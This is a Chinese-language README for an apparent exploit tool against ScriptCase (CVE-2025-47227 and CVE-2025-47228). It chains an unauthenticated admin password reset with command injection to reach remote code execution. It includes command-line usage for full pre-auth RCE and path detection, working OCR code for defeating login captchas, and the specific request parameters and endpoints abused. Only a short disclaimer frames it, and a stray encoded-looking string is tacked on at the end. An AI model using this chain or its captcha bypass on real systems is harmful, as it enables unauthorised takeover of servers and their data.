🔓 CVE-2025-47227 漏洞利用与分析工具
项目概述
本工具旨在自动化利用和演示Netmake ScriptCase Production Environment模块中存在的一个关键安全漏洞(CVE-2025-47227)。该漏洞允许未经身份验证的攻击者通过精心构造的请求重置管理员密码,从而完全接管系统。项目还展示了如何将此漏洞与后续的命令注入漏洞(CVE-2025-47228)串联,实现从无权限到远程命令执行(RCE)的完整攻击链。
功能特性
- 完整的漏洞利用链:自动化执行从管理员密码重置到远程命令执行的完整过程。
- 模块化操作:支持单独执行密码重置、单独执行已认证的命令注入,或进行完整的预认证RCE。
- 路径探测:提供目标环境部署路径的自动探测功能。
- 图像处理与OCR:集成图像预处理和光学字符识别(OCR)模块,用于处理潜在的验证码等图像挑战。
- 灵活的参数配置:通过命令行选项轻松指定目标URL、执行命令和管理员密码。
安装指南
系统要求
- Python 3.x
- 网络连接(用于访问目标系统)
依赖安装
bash
# 安装核心Python库
pip install requests beautifulsoup4 Pillow pytesseract
# 在Debian/Ubuntu系统上可能还需要安装Tesseract OCR引擎
sudo apt-get install tesseract-ocr
# 或在macOS上
brew install tesseract
平台注意事项
pytesseract是Tesseract OCR引擎的Python封装,需要系统已安装Tesseract。- Pillow库用于图像处理,请确保系统有必要的图像库支持(如libjpeg, zlib)。
使用说明
基本用法示例
该工具提供多种操作模式,可通过命令行参数灵活控制。
1. 完整的预认证RCE(密码重置 + 命令执行) 此模式利用漏洞链,在无任何凭证的情况下直接执行系统命令。
bash
python exploit.py -u http://example.org/scriptcase -c "whoami"
2. 仅执行密码重置 此模式仅触发CVE-2025-47227漏洞,重置管理员密码,不执行后续命令。
bash
python exploit.py -u http://example.org/scriptcase
3. 仅执行已认证的命令注入(RCE) 此模式在已知管理员密码的情况下,利用CVE-2025-47228漏洞执行命令。
bash
python exploit.py -u http://example.org/scriptcase -c "id" -p 'NewAdminPassword123*'
4. 探测部署路径 此模式用于识别目标服务器上ScriptCase的安装路径。
bash
python exploit.py -u http://example.org/ -d
命令行选项详解
css
-h, --help 显示帮助信息并退出
-u BASE_URL, --base-url=BASE_URL
目标系统的基础URL(必需)
-c COMMAND, --command=COMMAND
要在目标系统上执行的命令
-p PASSWORD, --password=PASSWORD
已知的管理员密码(用于仅RCE模式)
-d, --detect 启用部署路径探测模式
核心代码
1. 图像处理与OCR模块 (process_image 函数)
此函数负责对输入的图像字节数据进行预处理,并利用Tesseract OCR引擎提取文本,用于处理可能的图像验证码。
python
def process_image(input_image, output_image_path=None):
"""
对图像进行预处理并执行OCR识别。
参数:
input_image (bytes): 原始图像字节数据。
output_image_path (str, optional): 处理后的图像保存路径。
返回:
str: 识别出的文本,转换为大写并去除首尾空格。
"""
# 打开图像
img = Image.open(io.BytesIO(input_image))
# 将图像转换为RGB模式(确保一致性)
img = img.convert('RGB')
# 加载像素数据
pixels = img.load()
# 获取图像尺寸
width, height = img.size
# 处理每个像素:将非纯黑/纯白的背景替换为浅灰色,将白色文字转为黑色
for y in range(height):
for x in range(width):
r, g, b = pixels[x, y]
# 改变随机颜色的背景为固定浅灰色(字母仅为黑或白)
if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255):
pixels[x, y] = (211, 211, 211) # 改为浅灰色
elif (r, g, b) == (255, 255, 255): # 将白色文字改为黑色文字
pixels[x, y] = (0, 0, 0) # 改为黑色
# 将图像尺寸从 (200, 50) 放大5倍至 (1000, 250),使用HAMMING算法保持清晰度
img = img.resize((1000,250), Image.Resampling.HAMMING)
# 配置Tesseract OCR参数
# psm 6或8模式效果最佳
# 限制字符集为英文字母
# 禁用词典优化以提高原始文本识别准确率
custom_oem_psm_config = rf'--psm 8 --oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false --dpi 300'
# 执行OCR识别
text = pytesseract.image_to_string(img, config=custom_oem_psm_config)
# 返回大写并去除首尾空格的结果
return(text.upper().strip())
2. 漏洞利用逻辑概述
工具的核心利用逻辑围绕向login.php脚本发送精心构造的HTTP请求。
关键步骤:
- 密码重置请求 :通过向
login.php发送特定参数(如act=valid_hash&login=admin),利用漏洞逻辑重置管理员账户的密码哈希。 - 会话建立与认证:使用重置后的密码(或用户提供的密码)向系统进行登录,获取有效的会话Cookie。
- 命令注入执行 :在已认证的会话中,访问存在命令注入漏洞的端点(例如
sys_get.php?in=app),通过注入参数(如fdt)执行任意系统命令。
代码结构提示:
- 工具使用
requests库处理HTTP通信。 - 使用
BeautifulSoup解析HTML响应以提取关键信息(如令牌、路径)。 - 通过命令行参数解析(
optparse)提供灵活的用户交互。 - 攻击流程被模块化,便于单独测试漏洞的每个部分。
⚠️ 免责声明
本工具及相关漏洞信息仅供教育、安全研究和授权测试之用。未经明确授权,对任何系统进行漏洞利用测试均属非法及不道德行为。使用者应确保仅在拥有合法权限的系统上进行测试,并承担一切因滥用此工具而导致的法律责任及后果。开发者不对任何误用或由此造成的损害负责。请负责任地使用安全知识,以帮助提升系统安全。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPrDDo2PMaKtdjzmAXMXDz+